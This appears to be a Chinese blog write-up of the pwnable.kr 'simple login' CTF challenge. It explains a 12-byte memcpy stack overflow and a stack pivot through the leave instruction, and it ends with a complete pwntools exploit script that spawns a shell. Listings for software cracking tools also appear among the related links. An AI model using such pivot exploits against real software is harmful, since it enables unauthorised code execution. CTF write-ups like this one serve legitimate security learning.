PWN学习之[Rookiss]-[simple login]

Newton & Nvidia 开源 GPU 加速机器人仿真器入门教程(一) Newton 是一个 GPU 加速、可扩展和可微分的物理仿真引擎,专为机器人、研究和高级仿真工作流而设计。Newton 基于 NVIDIA Warp 并集成了 MuJoCo Warp,为用户和开发人员提供了高性能仿真、现代 Python API 和灵活的架构。 阅读详情

文件下载下来后是个elf可执行文件
用IDA反编译后可以看到溢出点在auth函数中

_BOOL4 __cdecl auth(int a1)
{
  char v2; // [sp+14h] [bp-14h]@1
  char *s2; // [sp+1Ch] [bp-Ch]@1
  int v4; // [sp+20h] [bp-8h]@1

  memcpy(&v4, &input, a1);
  s2 = (char *)calc_md5(&v2, 12);
  printf("hash : %s\n", (char)s2);
  return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

memcpy函数将input的值copy至v4地址中,导致栈溢出。

image

通过gdb查看栈,其中绿色箭头为v4的地址红色箭头为auth函数返回地址,可以看到如果覆盖返回地址需要填充12个字节,13-16个字节改变返回地址

但是,本题要求输入字符通过base64解码且解码后长度不能超过12个

 v6 = Base64Decode((int)&v5, &v4);
  if ( v6 > 0xC )
  {
    puts("Wrong Length");
  }

这就比较尴尬了….陷入懵逼循环中…

最后看到http://www.cnblogs.com/anewid/p/4567242.html这篇博客才知道如何去做,感谢大佬

关键在于leave指令

leave指令等同于下面两条命令(32位)

mov esp, ebp
pop ebp;

该命令会将esp中的值给ebp,同时esp自身会+4

该指令执行完之后结果为:

esp = ebp + 4,ebp = [ebp]

因为在auth函数和main函数中最后都有leave指令,所以我们可以构造一个这样的payload:
‘aaaa’+system的地址+该输入存储的地址

输入后栈中情况为这样
image

可见输入的数据与返回地址只有一步之遥,
再联想刚才说的leave指令,怎么样?懂了吧!
auth函数中的leave指令会将ESP改为EBP+4既函数返回地址,将EBP的值改为0x811eb40的值既刚才输入的首地址然后函数返回,程序继续执行

此时的EBP的值已经被改为输入的首地址,当程序执行到main函数的leave指令时,将EBP加4赋值给ESP,刚才EBP的值已经被改为我们输入的首地址了,再加4即为system的地址!

就这样,我们成功get shell
获得flag:control EBP, control ESP, control EIP, control the world~

脚本如下

from pwn import *
import base64
sysaddr=0x8049284
inaddr=0x811EB40
shellcode='aaaa'+p32(sysaddr)+p32(inaddr)
shellcode=base64.b64encode(shellcode)
#print shellcode
con=remote('pwnable.kr',9003)
#con=process('./login')
con.recvuntil('Authenticate : ')
con.sendline(shellcode)
con.interactive()
linux内核协议栈 TCP选项之SACK选项概述 目录 1SACK概述 1.1 SACK允许选项 1.2 SACK选项 2SACK允许选项的发送 2.1 SYN段发送 2.2 接收SYN段 2.2.1 struct tcp_options_received 2.2.2 tcp_parse_options() 2.3 发送SYN+ACK段 3D-SACK 1SACK概述 标准的TCP确认机制中,如果发送方发送了0-1000序号之间的数据,接收方收到了0-100、300-1000,那么接收方只能向发送方确认101,这时发送方会重... 阅读详情

相关推荐

STM32硬件SPI调试ADS1256的3个致命坑,CubeMX配置避坑指南

本文深入解析STM32硬件SPI调试ADS1256高精度ADC芯片时常见的3大配置陷阱,包括SPI时钟频率、时钟极性与相位、数据字节序等关键问题。通过CubeMX实战配置指南和实测数据对比,提供稳定可靠的解决方案,帮助开发者避免常见错误,提升采样精度和系统稳定性。

weixin_42550597的博客 346

bool 和_Bool的使用

bool是C++的关键字,一种数据类型,长度是4 _Bool是C99新增加的关键字,长度是1 在C++中,又把bool重定义为_Bool ,typedef bool _Bool 想互相使用方法一:typedef typedef int _BOOL ; #define true 1 #define false 0 方法二:枚举 ypedef enum { true=1, false} _SBOOL;出现error: C2632: “int”后面的“bool”非法除了上述原因,还可能是和库文件重复定义产生冲突,

SKGLZ的博客 798

LFM调制信号分类与检测识别

支持识别LFM信号、间歇采样干扰(ISRJ)、灵巧噪声干扰(SNJ)、扫频干扰(SJ)、瞄准干扰(AJ)、阻塞干扰(BJ)、密集假目标干扰(DFJ)、密集假目标加灵巧噪声干扰(DFWSNJ)、距离欺骗干扰(DDJ)、距离欺骗加灵巧噪声干扰(DDWSNJ)。Faster-RCNN支持检测识别LFM信号、间歇采样干扰(ISRJ)、灵巧噪声干扰(SNJ)、扫频干扰(SJ)、瞄准干扰(AJ)、密集假目标干扰(DFJ)、密集假目标加灵巧噪声干扰(DFWSNJ)、距离欺骗加灵巧噪声干扰(DDWSNJ)等8种信号。

菜yuan~的博客 1029

pwnable.kr之simple login详解

学习二进制不容易,大家要忍得住寂寞,耐得住孤独,进入正题. 总体思路: 输入更多的数据,溢出,修改main的返回值地址,使其返回到correct中,从而获取shell. 大家可能会有疑问:为什么不修改auth函数的返回值地址,跳到correct中.这是因为长度不够,我们需要输入16个字节的长度,才能覆盖返回值地址,但是程序只给了我们12个字节的长度. main函数int main(int

Bill 2299

Win10下Delphi 10.4.2 (RAD Studio 10.4.2 )安装教程图解

Win10下Delphi 10.4.2 (RAD Studio 10.4.2 )安装和破解教程图解

1万+

手把手教你用STM32F103C8T6驱动HUB75 LED点阵屏(附74HC595级联代码)

本文详细介绍了如何使用STM32F103C8T6开发板驱动HUB75接口的LED点阵屏,包括硬件连接、74HC595级联代码、时序控制及灰度显示实现。通过实战案例展示动态文字显示和性能优化技巧,帮助开发者快速掌握LED点阵屏驱动技术。

weixin_42623010的博客 342

bool 和_Bool , bool & _Bool

bool是C++的关键字,一种数据类型,长度是4!!! _Bool是C99新增加的关键字,长度是1, 在C++中,又把bool重定义为_Bool ,typedef bool _Bool; void l_Bool(void) { printf("sizeof(_Bool) is %d\n",sizeof(_Bool)); } void lbool(void) { pri...

ambercctv的博客 1万+

(SEED-Lab)Buffer Overflow Vulnerability Lab缓冲区溢出实验

(SEED-Lab)Buffer Overflow Vulnerability Lab 欢迎大家访问我的GitHub博客 https://lunan0320.cn 文章目录一、实验目的二、实验步骤与结果2.1 环境初始化2.2 Task1 运行shellcode2.3漏洞程序2.4 Task 22.5 Task 3: ASLR2.6 Task 4: Stack Guard2.7 Task 5:不可执行栈三、参考文献 一、实验目的 理解缓冲区溢出攻击的原理以及如何实施攻击 理解针对缓冲区溢出的防御措施

lunan的博客 8981

CTF-PWN-[ZJCTF 2019]Login 栈位置的转换跟踪

来源:https://buuoj.cn/challenges内容:附件:链接:https://pan.baidu.com/s/1uBEYYeg9ouPDEOah-BHGQA?pwd=6si8 提取码:6si8答案:PWN题为动态flag使用安装pwn解题框架发现是cpp的题目,在password_checker的第9行下断点到判断密码的位置,随后输入用户名admin,密码cylic(300)用于测试溢出点和调用点题目是比较密码是否等于,正确则跳转进入 发现此处的值是aaaa,则我们将密码设置为 +cylic

serfend's blog 1610

AI智能体丨使用Coze一键生成爆款书单视频,3个月内获赞131.1w!(附保姆级教程)

这篇教程详细介绍了如何使用扣子(Coze)平台的AI智能工作流批量制作爆款书单视频。通过自动化流程,只需1-2分钟即可生成45-50秒的书单视频,效率提升近百倍。工作流包含文案生成、音频合成、图片素材获取、视频剪辑等全流程,支持随机生成8本书单、自动提取金句、智能配音等功能。教程提供了完整的操作步骤,包括剪映草稿配置、特效添加等细节,并附体验链接和示例效果。最终生成的视频包含书单展示、金句字幕、背景音乐等元素,适合书单号运营者快速批量产出内容。

李同学Lino的博客 2355

21天教你学会PCIe专栏(21)--项目实例:构建一个基于 PCIe 的 NVMe SSD 阵列存储系统

构建一个高性能的 NVMe SSD 阵列存储系统,利用 PCIe 连接多块 NVMe SSD,实现高带宽和低延迟的数据存储。该系统将支持多种存储配置,如 RAID 0、RAID 1 和 RAID 5,以满足不同的性能和可靠性需求。通过上述步骤,你可以构建一个基于 PCIe 的 NVMe SSD 阵列存储系统。这个系统能够提供高带宽和低延迟的数据存储,并支持多种 RAID 配置以满足不同的性能和可靠性需求。

xiaoheshang_123的博客 200

pwnable 笔记 Rookiss - simple login - 50 pt

通过栈溢出控制EBP,从而控制ESP,最后控制EIP,获得对程序的控制权

HiTaQini 2217

IDCNBSAIS-财务报表功能范围取值管理费用、销售费用、研发费用排除指定科目的实现

研究了很多方法,没有办法实现,只在营业费用增加一个冲抵项解决,也咨询了外部顾问说要建立自建表。限于需要马上修正后面只能用了最最low的办法处理了一下。公司遇到的一个问题,目前报表有些项目是按照功能范围取值的,发现取多了。IDCNBSAIS-财务报表功能范围取值管理费用、销售费用、研发费用排除指定科目的实现。最后结果是正确的,但是总觉得有更好的办法,不知道有没有高人可以指点一下?建立一个调整项的目录,在每个节点做了调整。除了研发费用做了冲抵在以下每个节点都做了冲抵。为财务报表定义表格结构。

nopicture的博客 1493

pwnable.kr simple login writeup

这道题是pwnable.kr Rookiss部分的simple login,需要我们去覆盖程序的ebp,eip,esp去改变程序的执行流程 主要逻辑是输入一个字符串,base64解码后看是否与题目给定字符串一致,如果一致返回一个shell,仔细分析发现并不像网上普遍说的导致栈溢出。嗯,菜鸡如我觉得还是有必要做下笔记的=W= 看一下关键函数的反汇编 auth函数调...

weixin_30363981的博客 138

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

[BUUCTF]PWN——[ZJCTF 2019]Login

[ZJCTF 2019]Login 附件 步骤: 例行检查,64位程序,开启了canary和nx保护 2. 试运行一下程序 3. 64位ida载入,检索字符串,在程序里找到了用户名admin和密码2jctf_pa5sw0rd 再次尝试登录,无果 在程序里找到了后门函数,backdoor=0x400e88 c++写的程序,看起来有点费劲,自己看了好久都找到漏洞在哪里,后来借鉴了其他师傅的wp后才发现了猫腻 问题出现在检查密码的那个函数上 反编译出来的伪代码看起来没什么问题 但是我们按下tab,

mcmuyanga的博客 2358

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

pwn -- pwnable.kr -- simple-login---学习stack pivot

在看关于pwn的书时学到了 栈帧劫持stack pivot 利用这个例题练习一下。 基本思想: stack pivot利用到的gadget是在函数退出时需要的两条指令:leave(mov esp,ebp;pop ebp);ret;。这两条指令基本都会有。 可以利用这两条指令,通过栈溢出的方式,实现可以完全控制栈。 stack pivot实现的基本方法 (我的理解 通过栈溢出的方式将 我们之后要实现的完全可控的栈的地址写到EBP的地方 写入之后 ,程序第一次leave;ret;,将写入的地址赋给esp。

YANG12345_6的博客 506

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

swpuctf2019 Login pwn详细题解

Login 这是swpuctf2019的第二道pwn题,主要考点就是非栈上的字符串格式化漏洞利用。 首先,我们检查一下程序的保护机制 PIE和RELRO没有开启,那么我们可以轻易的利用漏洞修改GOT表 我们用IDA分析一下 在这里,有一个明显的格式化字符串漏洞,由于s1不是在栈上,而是在bss段里,所以漏洞利用起来会比栈上的字符串格式化漏洞稍微繁琐一些。由于外层是一个死循环,所以...

seaaseesa的博客 1951

pwnable 笔记 Rookiss - fsb - 20 pt

典型的格式化字符串漏洞

HiTaQini 3296

CTF-PWN-magic (FILE结构体攻击)

程序综述 checksec 查看程序保护 supergate@ubuntu:~/Desktop/Pwn$ checksec pwn [*] '/home/supergate/Desktop/Pwn/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: ...

SuperGate的博客 1万+

攻防世界-PWN-magic-文件结构体利用

解题思路 安全机制检查 healer@healer-virtual-machine:~/Desktop/magic$ checksec magic [*] '/home/healer/Desktop/magic/magic' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) h

aptx4869_li的博客 1万+

C++学习笔记4 C++之bool类型

C++中的bool类型: C++在

CppPlayer 1014

C语言的布尔类型(_Bool)

Technorati 标签: C,布尔,boolean,_Bool,stdbool.h          也许很多人都和我一样,从C99标准开始,不知道C语言已经有了布尔型,类型名字为“_Bool”。         在此之前的C语言中,使用整型int来表示真假。在输入时:使用非零值表示真;零值表示假。在输出时:真的结果是1,假的结果是0;(这里我所说的“输入”,意思是:当在一个需要布尔值的地方,比如 if 条件判断中的的条件;“输出”的意思是:程序的逻辑表达式返回的结果,比如 a==b的返回结果,只有

大黑暗天 的专栏 16万+

bool类型_第4课 - 布尔类型和引用

第4课 - 布尔类型和引用一、C++中的布尔类型(1) C++在C语言的基本类型系统之上增加了 bool;(2) bool是C++中的基本数据类型,可以定义bool类型的全局变量,可以定义bool类型的常量,可以 定义bool类型的指针,可以定义bool类型的数组。等等类型;(3) C++中的bool可取的值只有true和false;true代表真值,编译器内部用1来表示,false代表非真 值,...

weixin_39608559的博客 354

4、C++中的bool类型

在C++中声明一个bool类型的变量,相当于告诉编译器分配一个字节的内存#include <iostream> using namespace std; void main() { bool b1 = true;//告诉c++编译器分配一个字节的内存 bool b2, b3, b4, b5; cout << "sizeof(bool)" << sizeof...

guozhaokun001的博客 396

攻防世界PWN之Magic题解

Magic 本题知识点,FILE结构体的攻击 首先,检查一下程序的保护机制,发现PIE和RELRO没有开启,或许我们可以很方便的修改GOT表 然后,我们用IDA分析一下,发现wizard_spell函数存在数组下标向负数越界的漏洞 然后是create函数 然后,我们用IDA调试一下,发现wizards[-2]处就是log_file的地址,而这句可以修改FILE结构体的第40字...

seaaseesa的博客 1747

PWN学习之[Rookiss]-[echo1]

echo1是一个64位的elf可执行文件,用checksec检查发现基本没有进行保护措施Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: H

Magic1an的博客 1683
上一篇: PWN学习之[Rookiss]-[echo1]
下一篇: PWN学习之[Toddler''s Bottle]-[bof]
Magic1an
博客等级 码龄9年 7粉丝 24原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值